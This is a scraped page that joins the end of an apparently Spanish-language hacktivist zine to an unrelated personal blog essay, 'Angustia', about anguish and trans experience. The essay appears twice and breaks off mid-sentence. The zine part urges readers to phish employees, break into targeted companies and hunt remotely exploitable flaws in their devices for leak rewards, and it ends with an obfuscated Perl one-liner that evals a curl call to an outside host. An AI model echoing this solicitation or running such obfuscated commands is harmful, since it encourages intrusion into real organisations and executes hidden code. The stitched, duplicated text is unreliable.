https://en.wikipedia.org/wiki/Evil_maid_attack[2] http://mg.lol/blog/defcon-2019/[3] https://shop.hak5.org/products/lan-turtle¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpnusando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargarlo que querías?¿Participaste en programas de bug bounties y te convertiste en una experta enel hacking de aplicaciones web, pero no tienes suficiente experiencia hackerpara penetrar completamente la compañía?¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del malpara ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámarasIP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotablede forma remota.Si me es posible trabajar con vos para penetrar la compañía y conseguir materialde interés público, igualmente serás recompensada por tu trabajo. Si es que notengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarteacerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas ya la población en general es hoy día una industria de varios miles de millonesde dólares, mientras que hackear y exponer a quienes están en el poder es untrabajo voluntario y arriesgado. Convertirlo en una industria de varios millonesde dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va asolucionar los problemas de la sociedad. Pero creo que va a ser divertido. Asíque... ¡ya quiero ver gente comenzando a cobrar sus recompensas!--[ 15 - Abolir las prisiones ]------------------------------------------------- Construidas por el enemigo pa encerrar ideas encerrando compañeros pa acallar gritos de guerra es el centro de tortura y aniquilamiento donde el ser humano se vuelve más violento es el reflejo de la sociedad, represiva y carcelaria sostenida y basada en lógicas autoritarias custodiadas reprimidos y vigilados miles de presas y presos son exterminados ante esta máquina esquizofrénica y despiadada compañero Axel Osorio dando la pela en la cana rompiendo el aislamiento y el silenciamiento fuego y guerra a la cárcel, vamos destruyendo! Rap Insurrecto - Palabras En ConflictoSería típico terminar un zine hacker diciendo liberen a hammond, liberen amanning, liberen a hamza, liberen a los detenidos por el montaje del дело Сети,etc. Voy a llevar esta tradición a su consecuencia más radical [1], y a decir:¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, puedenpensar que lo que ocurre es que tengo una visión un poco sesgada del asunto.Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU estáprácticamente de acuerdo [2]. Así que, de una buena vez, liberen a las personasmigrantes [3][4][5][6], encarceladas a menudo por esos mismos países que crearonla guerra y la destrucción ambiental y económica de la que huyen. Liberen atodos los que están en prisión por la guerra contra quienes usan drogas [7].Liberen a todas las personas encarceladas por la guerra contra los pobres [8].Las prisiones lo único que hacen es esconder e ignorar la prueba de laexistencia de los problemas sociales, en lugar de arreglarlos de a de veras. Yhasta que todxs sean liberados, lucha contra el sistema carcelario recordando yteniendo presentes a aquellos que están atrapados ahí dentro. Envíales cariño,cartas, helicópteros [9], radios piratas [10] y libros, y apoya a quienes seorganizan desde ahí adentro [11][12].[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/ Davis-Son-obsoletas-las-prisiones-final.pdf[2] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_ Promising_Practices_on_Alternatives_to_Imprisonment.pdf[3] https://www.theguardian.com/us-news/2016/dec/21/ us-immigration-detention-center-christmas-santa-wish-list[4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility- images-tucson-arizona[5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros- Espana_22648665.html[6] https://www.nytimes.com/2019/06/26/world/australia/ australia-manus-suicide.html[7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes[8] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script= sci_arttext&pid=S0718-00122012000100005[9] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad[10] https://itsgoingdown.org/transmissions-hostile-territory/[11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/[12] https://incarceratedworkers.org/--[ 16 - Conclusión ]-----------------------------------------------------------Nuestro mundo está patas arriba [1]. Tenemos un sistema de justicia querepresenta a la injusticia. La ley y el orden están ahí para crear una ilusiónde paz social, y ocultar lo sistemático y profundo de la explotación, laviolencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley.[1] http://resistir.info/livros/galeano_patas_arriba.pdfLos hombres de negocios se enriquecen maltratando a las personas y al planeta,mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante elasalto a todo lo comunal, de algún modo hemos levantado ciudades densamentepobladas, plagadas por la soledad y el aislamiento. El sistema cultural,político y económico en que vivimos alienta las peores facetas de la naturalezahumana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta decompasión y el apego por la autoridad. Así que, para quien haya conseguidopermanecer sensible y compasivo en un mundo frío, para todas las heroínascotidianas que practican la bondad en las pequeñas cosas, para todas ustedes queaún tienen una estrella encendida en sus corazones: гоpи, гоpи ясно, чтобы непогасло! _____________________ < ¡Cantemos juntas! > --------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || Ábrete corazón Ábrete sentimiento Ábrete entendimiento Deja a un lado la razón Y deja brillar el sol escondido en tu interior perl -Mre=eval <<\EOF '' =~( '(?' .'{'.( '`'|'%' ).("\["^ '-').('`'| '!').("\`"| ',').'"(\\$' .':=`'.(('`')| '#').('['^'.'). ('['^')').("\`"| ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').( '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"| '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").( '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!') .('`'|',').('`'|'.').'.'.('`'|'/').('['^')').('`'|"\'"). '.'.('`'|'-').('['^'#').'/'.('['^'(').('`'|('$')).( '['^'(').('`'|',').'-'.('`'|'%').('['^('(')). '/`)=~'.('['^'(').'|</'.('['^'+').'>|\\' .'\\'.('`'|'.').'|'.('`'|"'").';'. '\\$:=~'.('['^'(').'/<.*?>//' .('`'|"'").';'.('['^'+').('['^ ')').('`'|')').('`'|'.').(('[')^ '/').('{'^'[').'\\$:=~/('.(('{')^ '(').('`'^'%').('{'^'#').('{'^'/') .('`'^'!').'.*?'.('`'^'-').('`'|'%') .('['^'#').("\`"| ')').('`'|'#').( '`'|'!').('`'| '.').('`'|'/') .'..)/'.('[' ^'(').'"})') ;$:="\."^ '~';$~='@' |'(';$^= ')'^'['; $/='`' |'.'; $,= '(' EOF Nosotras nacimos de la noche. en ella vivimos, hackeamos en ella. Aquí estamos, somos la dignidad rebelde, el corazón olvidado de la Интернет. Nuestra lucha es por la memoria y la justicia, y el mal gobierno se llena de criminales y asesinos. Nuestra lucha es por un trabajo justo y digno, y el mal gobierno y las corporaciones compran y venden zero days. Para todas el mañana. Para nosotras la alegre rebeldía de las filtraciones y la expropiación. Para todas todo. Para nosotras nada. Desde las montañas del Sureste Cibernético, _ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)También en:- @danicotillas@comunicacionabierta.net/112237720177779394" rel="syndication"> indieweb
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Angustia
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Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
#AlmasRotas #angustia #autoconocimiento #crisisEmocional #emociones #escrituraTerapéutica #experienciaTrans #IdentidadDeGénero #insomnio #introspección #reflexiónPersonal #resilienciaEmocional #SaludMental #soledad #tristeza -
Angustia
⏱️ Tiempo estimado de lectura: 12 minutos y 50 segundos.
Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re 